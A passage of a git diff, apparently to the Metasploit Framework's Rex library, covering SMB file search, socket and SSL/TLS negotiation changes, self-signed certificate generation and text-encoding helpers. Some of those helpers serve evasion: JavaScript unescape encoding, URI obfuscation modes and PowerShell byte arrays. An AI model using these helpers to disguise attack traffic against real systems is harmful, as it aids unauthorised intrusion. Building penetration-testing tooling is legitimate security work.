file_search(search_path, regex, depth).each {|fn| files << fn } + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + + # Ignore common errors related to permissions and non-files + if %W{ + STATUS_ACCESS_DENIED + STATUS_NO_SUCH_FILE + STATUS_OBJECT_NAME_NOT_FOUND + STATUS_OBJECT_PATH_NOT_FOUND + }.include? e.get_error(e.error_code) + next + end + + $stderr.puts [e, e.get_error(e.error_code), search_path] + + raise e + end + end + + end + + files.uniq end # Creates a new directory on the mounted tree @@ -1931,9 +2038,8 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils # public read/write methods attr_accessor :native_os, :native_lm, :encrypt_passwords, :extended_security, :read_timeout, :evasion_opts attr_accessor :verify_signature, :use_ntlmv2, :usentlm2_session, :send_lm, :use_lanman_key, :send_ntlm - attr_accessor :system_time, :system_zone - #misc - attr_accessor :spnopt # used for SPN + attr_accessor :system_time, :system_zone + attr_accessor :spnopt # public read methods attr_reader :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os @@ -1941,21 +2047,18 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils attr_reader :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id attr_reader :dns_host_name, :dns_domain_name attr_reader :security_mode, :server_guid - #signing related attr_reader :sequence_counter,:signing_key, :require_signing -# private methods +# private write methods attr_writer :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os attr_writer :default_domain, :default_name, :auth_user, :auth_user_id attr_writer :dns_host_name, :dns_domain_name attr_writer :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id attr_writer :security_mode, :server_guid - #signing related attr_writer :sequence_counter,:signing_key, :require_signing attr_accessor :socket - end end end diff --git a/lib/rex/proto/smb/constants.rb b/lib/rex/proto/smb/constants.rb index c423aee9d8..8de82fd4dd 100644 --- a/lib/rex/proto/smb/constants.rb +++ b/lib/rex/proto/smb/constants.rb @@ -261,6 +261,23 @@ FILE_FILE_COMPRESSION = 0x00000008 FILE_VOLUME_QUOTAS = 0x00000010 FILE_VOLUME_IS_COMPRESSED = 0x00008000 +# SMB_EXT_FILE_ATTR +# http://msdn.microsoft.com/en-us/library/ee878573(prot.20).aspx +SMB_EXT_FILE_ATTR_READONLY = 0x00000001 +SMB_EXT_FILE_ATTR_HIDDEN = 0x00000002 +SMB_EXT_FILE_ATTR_SYSTEM = 0x00000004 +SMB_EXT_FILE_ATTR_DIRECTORY = 0x00000010 +SMB_EXT_FILE_ATTR_ARCHIVE = 0x00000020 +SMB_EXT_FILE_ATTR_NORMAL = 0x00000080 +SMB_EXT_FILE_ATTR_TEMPORARY = 0x00000100 +SMB_EXT_FILE_ATTR_COMPRESSED = 0x00000800 +SMB_EXT_FILE_POSIX_SEMANTICS = 0x01000000 +SMB_EXT_FILE_BACKUP_SEMANTICS = 0x02000000 +SMB_EXT_FILE_DELETE_ON_CLOSE = 0x04000000 +SMB_EXT_FILE_SEQUENTIAL_SCAN = 0x08000000 +SMB_EXT_FILE_RANDOM_ACCESS = 0x10000000 +SMB_EXT_FILE_NO_BUFFERING = 0x20000000 +SMB_EXT_FILE_WRITE_THROUGH = 0x80000000 # SMB Error Codes SMB_STATUS_SUCCESS = 0x00000000 diff --git a/lib/rex/proto/smb/exceptions.rb b/lib/rex/proto/smb/exceptions.rb index c7d1a99315..bc8f769836 100644 --- a/lib/rex/proto/smb/exceptions.rb +++ b/lib/rex/proto/smb/exceptions.rb @@ -739,11 +739,15 @@ class Error < ::RuntimeError # returns an error string if it exists, otherwise just the error code def get_error(error) string = '' - if @@errors[error] + if error && @@errors[error] string = @@errors[error] - else + elsif error string = sprintf('0x%.8x',error) + else + string = "Unknown error" end + + string end end @@ -781,6 +785,10 @@ class InvalidPacket < Error attr_accessor :word_count attr_accessor :command attr_accessor :error_code + + def error_name + get_error(error_code) + end end class InvalidWordCount < InvalidPacket @@ -807,7 +815,7 @@ end class ErrorCode < InvalidPacket def to_s 'The server responded with error: ' + - self.get_error(self.error_code) + + self.error_name + " (Command=#{self.command} WordCount=#{self.word_count})" end end diff --git a/lib/rex/proto/smb/simpleclient.rb b/lib/rex/proto/smb/simpleclient.rb index a2423ccbe9..0f0be775ca 100644 --- a/lib/rex/proto/smb/simpleclient.rb +++ b/lib/rex/proto/smb/simpleclient.rb @@ -66,6 +66,10 @@ attr_accessor :socket, :client, :direct, :shares, :last_share self.client.spnopt = spnopt + # In case the user unsets the password option, we make sure this is + # always a string + pass ||= '' + ok = self.client.session_setup(user, pass, domain) rescue ::Interrupt raise $! diff --git a/lib/rex/proto/sunrpc/client.rb b/lib/rex/proto/sunrpc/client.rb index b96e9c6f46..25847a81c0 100644 --- a/lib/rex/proto/sunrpc/client.rb +++ b/lib/rex/proto/sunrpc/client.rb @@ -6,10 +6,21 @@ module Rex module Proto module SunRPC +class RPCError < ::StandardError + def initialize(msg = 'RPC operation failed') + super + @msg = msg + end + + def to_s + @msg + end +end + class RPCTimeout < ::Interrupt - def initialize(msg = 'Operation timed out.') - @msg = msg - end + def initialize(msg = 'Operation timed out.') + @msg = msg + end def to_s @msg diff --git a/lib/rex/random_identifier_generator.rb b/lib/rex/random_identifier_generator.rb index ab84faf3bc..6f6703951a 100644 --- a/lib/rex/random_identifier_generator.rb +++ b/lib/rex/random_identifier_generator.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # A quick way to produce unique random strings that follow the rules of # identifiers, i.e., begin with a letter and contain only alphanumeric diff --git a/lib/rex/registry/lfkey.rb b/lib/rex/registry/lfkey.rb index fddeb75332..220cfa7306 100644 --- a/lib/rex/registry/lfkey.rb +++ b/lib/rex/registry/lfkey.rb @@ -41,7 +41,7 @@ class LFHashRecord attr_accessor :nodekey_offset, :nodekey_name_verification def initialize(hive_blob, offset) - @nodekey_offset = hive_blob[offset, 4].unpack('l').first + @nodekey_offset = hive_blob[offset, 4].unpack('V').first @nodekey_name_verification = hive_blob[offset+0x04, 4].to_s end diff --git a/lib/rex/registry/nodekey.rb b/lib/rex/registry/nodekey.rb index d32c52407a..7530792f96 100644 --- a/lib/rex/registry/nodekey.rb +++ b/lib/rex/registry/nodekey.rb @@ -23,16 +23,16 @@ class NodeKey return end - @timestamp = hive[offset+0x04, 8].unpack('q').first - @parent_offset = hive[offset+0x10, 4].unpack('l').first - @subkeys_count = hive[offset+0x14, 4].unpack('l').first - @lf_record_offset = hive[offset+0x1c, 4].unpack('l').first - @value_count = hive[offset+0x24, 4].unpack('l').first - @value_list_offset = hive[offset+0x28, 4].unpack('l').first - @security_key_offset = hive[offset+0x2c, 4].unpack('l').first - @class_name_offset = hive[offset+0x30, 4].unpack('l').first - @name_length = hive[offset+0x48, 2].unpack('c').first - @class_name_length = hive[offset+0x4a, 2].unpack('c').first + @timestamp = hive[offset+0x04, 8].unpack('Q').first + @parent_offset = hive[offset+0x10, 4].unpack('V').first + @subkeys_count = hive[offset+0x14, 4].unpack('V').first + @lf_record_offset = hive[offset+0x1c, 4].unpack('V').first + @value_count = hive[offset+0x24, 4].unpack('V').first + @value_list_offset = hive[offset+0x28, 4].unpack('V').first + @security_key_offset = hive[offset+0x2c, 4].unpack('V').first + @class_name_offset = hive[offset+0x30, 4].unpack('V').first + @name_length = hive[offset+0x48, 2].unpack('C').first + @class_name_length = hive[offset+0x4a, 2].unpack('C').first @name = hive[offset+0x4c, @name_length].to_s windows_time = @timestamp diff --git a/lib/rex/registry/valuekey.rb b/lib/rex/registry/valuekey.rb index fdb27fb6e6..61a7c07d2d 100644 --- a/lib/rex/registry/valuekey.rb +++ b/lib/rex/registry/valuekey.rb @@ -17,10 +17,10 @@ class ValueKey return end - @name_length = hive[offset+0x02, 2].unpack('c').first - @length_of_data = hive[offset+0x04, 4].unpack('l').first - @data_offset = hive[offset+ 0x08, 4].unpack('l').first - @value_type = hive[offset+0x0C, 4].unpack('c').first + @name_length = hive[offset+0x02, 2].unpack('C').first + @length_of_data = hive[offset+0x04, 4].unpack('V').first + @data_offset = hive[offset+ 0x08, 4].unpack('V').first + @value_type = hive[offset+0x0C, 4].unpack('C').first if @value_type == 1 @readable_value_type = "Unicode character string" @@ -34,7 +34,7 @@ class ValueKey @readable_value_type = "Multiple unicode strings separated with '\\x00'" end - flag = hive[offset+0x10, 2].unpack('c').first + flag = hive[offset+0x10, 2].unpack('C').first if flag == 0 @name = "Default" diff --git a/lib/rex/registry/valuelist.rb b/lib/rex/registry/valuelist.rb index 1fb0906dfe..63900c14a4 100644 --- a/lib/rex/registry/valuelist.rb +++ b/lib/rex/registry/valuelist.rb @@ -18,7 +18,7 @@ class ValueList valuekey_offset = hive[offset + inner_offset, 4] next if !valuekey_offset - valuekey_offset = valuekey_offset.unpack('l').first + valuekey_offset = valuekey_offset.unpack('V').first @values << ValueKey.new(hive, valuekey_offset + 0x1000) inner_offset = inner_offset + 4 end diff --git a/lib/rex/socket.rb b/lib/rex/socket.rb index e68a0263a6..089e02a972 100644 --- a/lib/rex/socket.rb +++ b/lib/rex/socket.rb @@ -505,14 +505,24 @@ module Socket end # - # Converts a port specification like "80,21-23,443" into a sorted, - # unique array of valid port numbers like [21,22,23,80,443] + # Converts a port specification like "80,21-25,!24,443" into a sorted, + # unique array of valid port numbers like [21,22,23,25,80,443] # def self.portspec_to_portlist(pspec) ports = [] + remove = [] # Build ports array from port specification pspec.split(/,/).each do |item| + target = ports + + item.strip! + + if item.start_with? '!' + item.delete! '!' + target = remove + end + start, stop = item.split(/-/).map { |p| p.to_i } start ||= 0 @@ -520,11 +530,15 @@ module Socket start, stop = stop, start if stop < start - start.upto(stop) { |p| ports << p } + start.upto(stop) { |p| target << p } + end + + if ports.empty? and not remove.empty? then + ports = 1.upto 65535 end # Sort, and remove dups and invalid ports - ports.sort.uniq.delete_if { |p| p < 1 or p > 65535 } + ports.sort.uniq.delete_if { |p| p < 1 or p > 65535 or remove.include? p } end # @@ -718,7 +732,15 @@ module Socket # Return peer connection information. # def getpeername - return Socket.from_sockaddr(super) + peer_name = nil + begin + peer_name = Socket.from_sockaddr(super) + rescue ::Errno::EINVAL => e + # Ruby's getpeername method may call rb_sys_fail("getpeername(2)") + elog("#{e.message} (#{e.class})#{e.backtrace * "\n"}\n", 'core', LEV_3) + end + + return peer_name end # diff --git a/lib/rex/socket/comm/local.rb b/lib/rex/socket/comm/local.rb index eaafb12046..82c843a6c3 100644 --- a/lib/rex/socket/comm/local.rb +++ b/lib/rex/socket/comm/local.rb @@ -195,7 +195,7 @@ class Rex::Socket::Comm::Local rescue ::Errno::EADDRNOTAVAIL,::Errno::EADDRINUSE sock.close - raise Rex::AddressInUse.new(param.localhost, param.localport), caller + raise Rex::BindFailed.new(param.localhost, param.localport), caller end end @@ -291,19 +291,22 @@ class Rex::Socket::Comm::Local end sock.close - raise Rex::HostUnreachable.new(param.peerhost, param.peerport), caller + raise Rex::HostUnreachable.new(ip, port), caller rescue ::Errno::EADDRNOTAVAIL,::Errno::EADDRINUSE sock.close - raise Rex::AddressInUse.new(param.peerhost, param.peerport), caller + raise Rex::InvalidDestination.new(ip, port), caller rescue Errno::ETIMEDOUT sock.close - raise Rex::ConnectionTimeout.new(param.peerhost, param.peerport), caller + raise Rex::ConnectionTimeout.new(ip, port), caller rescue ::Errno::ECONNRESET,::Errno::ECONNREFUSED,::Errno::ENOTCONN,::Errno::ECONNABORTED sock.close - raise Rex::ConnectionRefused.new(param.peerhost, param.peerport), caller + # Report the actual thing we were trying to connect to here, not + # param.peerhost, since that's the eventual target at the end of the + # proxy chain + raise Rex::ConnectionRefused.new(ip, port.to_i), caller end end @@ -378,9 +381,9 @@ class Rex::Socket::Comm::Local ni_packet << [route_data.length - 4].pack('N') + route_data # Now that we've built the whole packet, prepend its length before writing it to the wire ni_packet = [ni_packet.length].pack('N') + ni_packet - + size = sock.put(ni_packet) - + if size != ni_packet.length raise Rex::ConnectionProxyError.new(host, port, type, "Failed to send the entire request to the proxy"), caller end diff --git a/lib/rex/socket/ip.rb b/lib/rex/socket/ip.rb index 6a2d11b81d..4399df98c5 100644 --- a/lib/rex/socket/ip.rb +++ b/lib/rex/socket/ip.rb @@ -75,6 +75,7 @@ module Rex::Socket::Ip Rex::Compat.is_macosx ) gram=gram.dup + # Note that these are *intentionally* host order for BSD support gram[2,2]=gram[2,2].unpack("n").pack("s") gram[6,2]=gram[6,2].unpack("n").pack("s") end diff --git a/lib/rex/socket/parameters.rb b/lib/rex/socket/parameters.rb index ac6dd63168..1866ba37cf 100644 --- a/lib/rex/socket/parameters.rb +++ b/lib/rex/socket/parameters.rb @@ -56,7 +56,7 @@ class Rex::Socket::Parameters # @option hash [Bool] 'Bool' Create a bare socket # @option hash [Bool] 'Server' Whether or not this should be a server # @option hash [Bool] 'SSL' Whether or not SSL should be used - # @option hash [String] 'SSLVersion' Specify SSL2, SSL3, or TLS1 (SSL3 is + # @option hash [String] 'SSLVersion' Specify Auto, SSL2, SSL3, or TLS1 (Auto is # default) # @option hash [String] 'SSLCert' A file containing an SSL certificate (for # server sockets) @@ -117,7 +117,7 @@ class Rex::Socket::Parameters self.ssl = false end - supported_ssl_versions = ['SSL2', 'SSL23', 'TLS1', 'SSL3', :SSLv2, :SSLv3, :SSLv23, :TLSv1] + supported_ssl_versions = ['Auto', 'SSL2', 'SSL23', 'TLS1', 'SSL3', :Auto, :SSLv2, :SSLv3, :SSLv23, :TLSv1] if (hash['SSLVersion'] and supported_ssl_versions.include? hash['SSLVersion']) self.ssl_version = hash['SSLVersion'] end @@ -324,7 +324,7 @@ class Rex::Socket::Parameters # @return [Bool] attr_accessor :ssl - # What version of SSL to use (SSL2, SSL3, SSL23, TLS1) + # What version of SSL to use (Auto, SSL2, SSL3, SSL23, TLS1) # @return [String,Symbol] attr_accessor :ssl_version diff --git a/lib/rex/socket/ssl_tcp.rb b/lib/rex/socket/ssl_tcp.rb index cc46559b11..b55c5619c7 100644 --- a/lib/rex/socket/ssl_tcp.rb +++ b/lib/rex/socket/ssl_tcp.rb @@ -56,18 +56,55 @@ begin def initsock(params = nil) super - version = :SSLv3 - if(params) + # The autonegotiation preference for SSL/TLS versions + versions = [:TLSv1, :SSLv3, :SSLv23, :SSLv2] + + # Limit this to a specific SSL/TLS version if specified + if params case params.ssl_version when 'SSL2', :SSLv2 - version = :SSLv2 + versions = [:SSLv2] when 'SSL23', :SSLv23 - version = :SSLv23 + versions = [:SSLv23] + when 'SSL3', :SSLv3 + versions = [:SSLv3] when 'TLS1', :TLSv1 - version = :TLSv1 + versions = [:TLSv1] + else + # Leave the version list as-is (Auto) end end + # Limit our versions to those supported by the linked OpenSSL library + versions = versions.select {|v| OpenSSL::SSL::SSLContext::METHODS.include? v } + + # Raise an error if no selected versions are supported + if versions.length == 0 + raise ArgumentError, 'The system OpenSSL does not support the requested SSL/TLS version' + end + + last_error = nil + + # Iterate through SSL/TLS versions until we successfully negotiate + versions.each do |version| + begin + # Try intializing the socket with this SSL/TLS version + # This will throw an exception if it fails + initsock_with_ssl_version(params, version) + + # Success! Record what method was used and return + self.ssl_negotiated_version = version + return + rescue OpenSSL::SSL::SSLError => e + last_error = e + end + end + + # No SSL/TLS versions succeeded, raise the last error + raise last_error + end + + def initsock_with_ssl_version(params, version) # Build the SSL connection self.sslctx = OpenSSL::SSL::SSLContext.new(version) @@ -84,7 +121,9 @@ begin # Could also do this as graceful faildown in case a passed verify_mode is not supported self.sslctx.verify_mode = OpenSSL::SSL::VERIFY_PEER end + self.sslctx.options = OpenSSL::SSL::OP_ALL + if params.ssl_cipher self.sslctx.ciphers = params.ssl_cipher end @@ -101,7 +140,6 @@ begin # XXX - enabling this causes infinite recursion, so disable for now # self.sslsock.sync_close = true - # Force a negotiation timeout begin Timeout.timeout(params.timeout) do @@ -327,11 +365,13 @@ begin end attr_reader :peer_verified # :nodoc: + attr_reader :ssl_negotiated_version # :nodoc: attr_accessor :sslsock, :sslctx # :nodoc: protected attr_writer :peer_verified # :nodoc: + attr_writer :ssl_negotiated_version # :nodoc: rescue LoadError diff --git a/lib/rex/socket/ssl_tcp_server.rb b/lib/rex/socket/ssl_tcp_server.rb index 317b98313e..27ee44696f 100644 --- a/lib/rex/socket/ssl_tcp_server.rb +++ b/lib/rex/socket/ssl_tcp_server.rb @@ -99,6 +99,80 @@ module Rex::Socket::SslTcpServer end end + # + # Parse a certificate in unified PEM format that contains a private key and + # one or more certificates. The first certificate is the primary, while any + # additional certificates are treated as intermediary certificates. This emulates + # the behavior of web servers like nginx. + # + # @param [String] ssl_cert + # @return [String, String, Array] + def self.ssl_parse_pem(ssl_cert) + cert = nil + key = nil + chain = nil + + certs = [] + ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem| + if pem =~ /PRIVATE KEY/ + key = OpenSSL::PKey::RSA.new(pem) + elsif pem =~ /CERTIFICATE/ + certs << OpenSSL::X509::Certificate.new(pem) + end + end + + cert = certs.shift + if certs.length > 0 + chain = certs + end + + [key, cert, chain] + end + + # + # Shim for the ssl_parse_pem module method + # + def ssl_parse_pem(ssl_cert) + Rex::Socket::SslTcpServer.ssl_parse_pem(ssl_cert) + end + + # + # Generate a realistic-looking but obstensibly fake SSL + # certificate. This matches a typical "snakeoil" cert. + # + # @return [String, String, Array] + def self.ssl_generate_certificate + yr = 24*3600*365 + vf = Time.at(Time.now.to_i - rand(yr * 3) - yr) + vt = Time.at(vf.to_i + (10 * yr)) + cn = Rex::Text.rand_text_alpha_lower(rand(8)+2) + key = OpenSSL::PKey::RSA.new(2048){ } + cert = OpenSSL::X509::Certificate.new + cert.version = 2 + cert.serial = (rand(0xFFFFFFFF) << 32) + rand(0xFFFFFFFF) + cert.subject = OpenSSL::X509::Name.new([["CN", cn]]) + cert.issuer = OpenSSL::X509::Name.new([["CN", cn]]) + cert.not_before = vf + cert.not_after = vt + cert.public_key = key.public_key + + ef = OpenSSL::X509::ExtensionFactory.new(nil,cert) + cert.extensions = [ + ef.create_extension("basicConstraints","CA:FALSE") + ] + ef.issuer_certificate = cert + + cert.sign(key, OpenSSL::Digest::SHA256.new) + + [key, cert, nil] + end + + # + # Shim for the ssl_generate_certificate module method + # + def ssl_generate_certificate + Rex::Socket::SslTcpServer.ssl_generate_certificate + end # # Create a new ssl context. If +ssl_cert+ is not given, generates a new @@ -107,54 +181,19 @@ module Rex::Socket::SslTcpServer # @param [Rex::Socket::Parameters] params # @return [::OpenSSL::SSL::SSLContext] def makessl(params) - ssl_cert = params.ssl_cert - if ssl_cert - cert = OpenSSL::X509::Certificate.new(ssl_cert) - key = OpenSSL::PKey::RSA.new(ssl_cert) - else - key = OpenSSL::PKey::RSA.new(1024){ } - cert = OpenSSL::X509::Certificate.new - cert.version = 2 - cert.serial = rand(0xFFFFFFFF) - # name = OpenSSL::X509::Name.new([["C","JP"],["O","TEST"],["CN","localhost"]]) - subject = OpenSSL::X509::Name.new([ - ["C","US"], - ['ST', Rex::Text.rand_state()], - ["L", Rex::Text.rand_text_alpha(rand(20) + 10)], - ["O", Rex::Text.rand_text_alpha(rand(20) + 10)], - ["CN", Rex::Text.rand_hostname], - ]) - issuer = OpenSSL::X509::Name.new([ - ["C","US"], - ['ST', Rex::Text.rand_state()], - ["L", Rex::Text.rand_text_alpha(rand(20) + 10)], - ["O", Rex::Text.rand_text_alpha(rand(20) + 10)], - ["CN", Rex::Text.rand_hostname], - ]) - cert.subject = subject - cert.issuer = issuer - cert.not_before = Time.now - (3600 * 365) - cert.not_after = Time.now + (3600 * 365) - cert.public_key = key.public_key - ef = OpenSSL::X509::ExtensionFactory.new(nil,cert) - cert.extensions = [ - ef.create_extension("basicConstraints","CA:FALSE"), - ef.create_extension("subjectKeyIdentifier","hash"), - ef.create_extension("extendedKeyUsage","serverAuth"), - ef.create_extension("keyUsage","keyEncipherment,dataEncipherment,digitalSignature") - ] - ef.issuer_certificate = cert - cert.add_extension ef.create_extension("authorityKeyIdentifier", "keyid:always,issuer:always") - cert.sign(key, OpenSSL::Digest::SHA1.new) + if params.ssl_cert + key, cert, chain = ssl_parse_pem(params.ssl_cert) + else + key, cert, chain = ssl_generate_certificate end ctx = OpenSSL::SSL::SSLContext.new() ctx.key = key ctx.cert = cert + ctx.extra_chain_cert = chain ctx.options = 0 - # Older versions of OpenSSL do not export the OP_NO_COMPRESSION symbol if defined?(OpenSSL::SSL::OP_NO_COMPRESSION) # enable/disable the SSL/TLS-level compression diff --git a/lib/rex/socket/tcp_server.rb b/lib/rex/socket/tcp_server.rb index 5b033cc3d2..ba0b11e5ab 100644 --- a/lib/rex/socket/tcp_server.rb +++ b/lib/rex/socket/tcp_server.rb @@ -56,6 +56,9 @@ module Rex::Socket::TcpServer pn = t.getpeername + # We hit a "getpeername(2)" from Ruby + return nil unless pn + t.peerhost = pn[1] t.peerport = pn[2] end diff --git a/lib/rex/sslscan/result.rb b/lib/rex/sslscan/result.rb index efcd999e35..01f6052c26 100644 --- a/lib/rex/sslscan/result.rb +++ b/lib/rex/sslscan/result.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'rex/socket' require 'rex/ui/text/table' diff --git a/lib/rex/sslscan/scanner.rb b/lib/rex/sslscan/scanner.rb index 17579cf2f3..4b56b509dd 100644 --- a/lib/rex/sslscan/scanner.rb +++ b/lib/rex/sslscan/scanner.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'rex/socket' require 'rex/sslscan/result' diff --git a/lib/rex/test.rb b/lib/rex/test.rb deleted file mode 100644 index 380e85817d..0000000000 --- a/lib/rex/test.rb +++ /dev/null @@ -1,36 +0,0 @@ -# -*- coding: binary -*- -require 'test/unit' - -# DEFAULTS -module Rex -class Test - -$_REX_TEST_NO_MOCK = nil -$_REX_TEST_TIMEOUT = 30 -$_REX_TEST_SMB_HOST = '10.4.10.58' -$_REX_TEXT_SMB_USER = 'SMBTest' -$_REX_TEXT_SMB_PASS = 'SMBTest' - -# overwrite test defaults with rex/test-config.rb -def self.load() - file = File.join( ENV.fetch('HOME'), '.msf3', 'test') - begin - if File.stat(file + '.rb') - require file - end - rescue - # just ignore the errors - end - -end - -def self.cantmock() - if (!$_REX_TEST_NO_MOCK) - raise RuntimeError, "*** $_REX_TEST_NO_MOCK must not be set for this test ***", caller - end -end - -Rex::Test.load() - -end -end diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 48936d5b32..d33bdf18b0 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -3,6 +3,7 @@ require 'digest/md5' require 'digest/sha1' require 'stringio' require 'cgi' +require 'rex/exploitation/powershell' %W{ iconv zlib }.each do |libname| begin @@ -32,6 +33,7 @@ module Text # ## + TLDs = ['com', 'net', 'org', 'gov', 'biz', 'edu'] States = ["AK", "AL", "AR", "AZ", "CA", "CO", "CT", "DE", "FL", "GA", "HI", "IA", "ID", "IL", "IN", "KS", "KY", "LA", "MA", "MD", "ME", "MI", "MN", "MO", "MS", "MT", "NC", "ND", "NE", "NH", "NJ", "NM", "NV", "NY", "OH", @@ -102,6 +104,62 @@ module Text nil, nil, nil, nil, nil, nil, nil, nil, nil ] + # + # Most 100 common surnames, male/female names in the U.S. (http://names.mongabay.com/) + # + + Surnames = [ + "adams", "alexander", "allen", "anderson", "bailey", "baker", "barnes", + "bell", "bennett", "brooks", "brown", "bryant", "butler", "campbell", + "carter", "clark", "coleman", "collins", "cook", "cooper", "cox", + "davis", "diaz", "edwards", "evans", "flores", "foster", "garcia", + "gonzales", "gonzalez", "gray", "green", "griffin", "hall", "harris", + "hayes", "henderson", "hernandez", "hill", "howard", "hughes", "jackson", + "james", "jenkins", "johnson", "jones", "kelly", "king", "lee", "lewis", + "long", "lopez", "martin", "martinez", "miller", "mitchell", "moore", + "morgan", "morris", "murphy", "nelson", "parker", "patterson", "perez", + "perry", "peterson", "phillips", "powell", "price", "ramirez", "reed", + "richardson", "rivera", "roberts", "robinson", "rodriguez", "rogers", + "ross", "russell", "sanchez", "sanders", "scott", "simmons", "smith", + "stewart", "taylor", "thomas", "thompson", "torres", "turner", "walker", + "ward", "washington", "watson", "white", "williams", "wilson", "wood", + "wright", "young" + ] + + Names_Male = [ + "aaron", "adam", "alan", "albert", "andrew", "anthony", "antonio", + "arthur", "benjamin", "billy", "bobby", "brandon", "brian", "bruce", + "carl", "carlos", "charles", "chris", "christopher", "clarence", "craig", + "daniel", "david", "dennis", "donald", "douglas", "earl", "edward", + "eric", "ernest", "eugene", "frank", "fred", "gary", "george", "gerald", + "gregory", "harold", "harry", "henry", "howard", "jack", "james", "jason", + "jeffrey", "jeremy", "jerry", "jesse", "jimmy", "joe", "john", "johnny", + "jonathan", "jose", "joseph", "joshua", "juan", "justin", "keith", + "kenneth", "kevin", "larry", "lawrence", "louis", "mark", "martin", + "matthew", "michael", "nicholas", "patrick", "paul", "peter", "philip", + "phillip", "ralph", "randy", "raymond", "richard", "robert", "roger", + "ronald", "roy", "russell", "ryan", "samuel", "scott", "sean", "shawn", + "stephen", "steve", "steven", "terry", "thomas", "timothy", "todd", + "victor", "walter", "wayne", "william", "willie" + ] + + Names_Female = [ + "alice", "amanda", "amy", "andrea", "angela", "ann", "anna", "anne", + "annie", "ashley", "barbara", "betty", "beverly", "bonnie", "brenda", + "carol", "carolyn", "catherine", "cheryl", "christina", "christine", + "cynthia", "deborah", "debra", "denise", "diana", "diane", "donna", + "doris", "dorothy", "elizabeth", "emily", "evelyn", "frances", "gloria", + "heather", "helen", "irene", "jacqueline", "jane", "janet", "janice", + "jean", "jennifer", "jessica", "joan", "joyce", "judith", "judy", "julia", + "julie", "karen", "katherine", "kathleen", "kathryn", "kathy", "kelly", + "kimberly", "laura", "lillian", "linda", "lisa", "lois", "lori", "louise", + "margaret", "maria", "marie", "marilyn", "martha", "mary", "melissa", + "michelle", "mildred", "nancy", "nicole", "norma", "pamela", "patricia", + "paula", "phyllis", "rachel", "rebecca", "robin", "rose", "ruby", "ruth", + "sandra", "sara", "sarah", "sharon", "shirley", "stephanie", "susan", + "tammy", "teresa", "theresa", "tina", "virginia", "wanda" + ] + ## # # Serialization @@ -248,19 +306,7 @@ module Text # Converts a raw string to a powershell byte array # def self.to_powershell(str, name = "buf") - return "[Byte[]]$#{name} = ''" if str.nil? or str.empty? - - code = str.unpack('C*') - buff = "[Byte[]]$#{name} = 0x#{code[0].to_s(16)}" - 1.upto(code.length-1) do |byte| - if(byte % 10 == 0) - buff << "\r\n$#{name} += 0x#{code[byte].to_s(16)}" - else - buff << ",0x#{code[byte].to_s(16)}" - end - end - - return buff + return Rex::Exploitation::Powershell::Script.to_byte_array(str, name) end # @@ -429,7 +475,7 @@ module Text # # Returns a unicode escaped string for Javascript # - def self.to_unescape(data, endian=ENDIAN_LITTLE) + def self.to_unescape(data, endian=ENDIAN_LITTLE, prefix='%%u') data << "\x41" if (data.length % 2 != 0) dptr = 0 buff = '' @@ -440,9 +486,9 @@ module Text dptr += 1 if (endian == ENDIAN_LITTLE) - buff << sprintf('%%u%.2x%.2x', c2, c1) + buff << sprintf("#{prefix}%.2x%.2x", c2, c1) else - buff << sprintf('%%u%.2x%.2x', c1, c2) + buff << sprintf("#{prefix}%.2x%.2x", c1, c2) end end return buff @@ -731,15 +777,18 @@ module Text return str if mode == 'none' # fast track no encoding - all = /[^\/\\]+/ - normal = /[^a-zA-Z0-9\/\\\.\-]+/ - normal_na = /[a-zA-Z0-9\/\\\.\-]/ + all = /./ + noslashes = /[^\/\\]+/ + # http://tools.ietf.org/html/rfc3986#section-2.3 + normal = /[^a-zA-Z0-9\/\\\.\-_~]+/ case mode - when 'hex-normal' - return str.gsub(normal) { |s| Rex::Text.to_hex(s, '%') } when 'hex-all' return str.gsub(all) { |s| Rex::Text.to_hex(s, '%') } + when 'hex-normal' + return str.gsub(normal) { |s| Rex::Text.to_hex(s, '%') } + when 'hex-noslashes' + return str.gsub(noslashes) { |s| Rex::Text.to_hex(s, '%') } when 'hex-random' res = '' str.each_byte do |c| @@ -749,10 +798,12 @@ module Text b.gsub(normal){ |s| Rex::Text.to_hex(s, '%') } ) end return res - when 'u-normal' - return str.gsub(normal) { |s| Rex::Text.to_hex(Rex::Text.to_unicode(s, 'uhwtfms'), '%u', 2) } when 'u-all' return str.gsub(all) { |s| Rex::Text.to_hex(Rex::Text.to_unicode(s, 'uhwtfms'), '%u', 2) } + when 'u-normal' + return str.gsub(normal) { |s| Rex::Text.to_hex(Rex::Text.to_unicode(s, 'uhwtfms'), '%u', 2) } + when 'u-noslashes' + return str.gsub(noslashes) { |s| Rex::Text.to_hex(Rex::Text.to_unicode(s, 'uhwtfms'), '%u', 2) } when 'u-random' res = '' str.each_byte do |c| @@ -1233,6 +1284,30 @@ module Text "{#{[8,4,4,4,12].map {|a| rand_text_hex(a) }.join("-")}}" end + # + # Convert 16-byte string to a GUID string + # + # @example + # str = "ABCDEFGHIJKLMNOP" + # Rex::Text.to_guid(str) #=> "{44434241-4645-4847-494a-4b4c4d4e4f50}" + # + # @param bytes [String] 16 bytes which represent a GUID in the proper + # order. + # + # @return [String] + def self.to_guid(bytes) + return nil unless bytes + s = bytes.unpack('H*')[0] + parts = [ + s[6, 2] + s[4, 2] + s[2, 2] + s[0, 2], + s[10, 2] + s[8, 2], + s[14, 2] + s[12, 2], + s[16, 4], + s[20, 12] + ] + "{#{parts.join('-')}}" + end + # # Creates a pattern that can be used for offset calculation purposes. This # routine is capable of generating patterns using a supplied set and a @@ -1329,12 +1404,12 @@ module Text # Randomize the whitespace in a string # def self.randomize_space(str) + set = ["\x09", "\x20", "\x0d", "\x0a"] str.gsub(/\s+/) { |s| len = rand(50)+2 - set = "\x09\x20\x0d\x0a" buf = '' while (buf.length < len) - buf << set[rand(set.length),1] + buf << 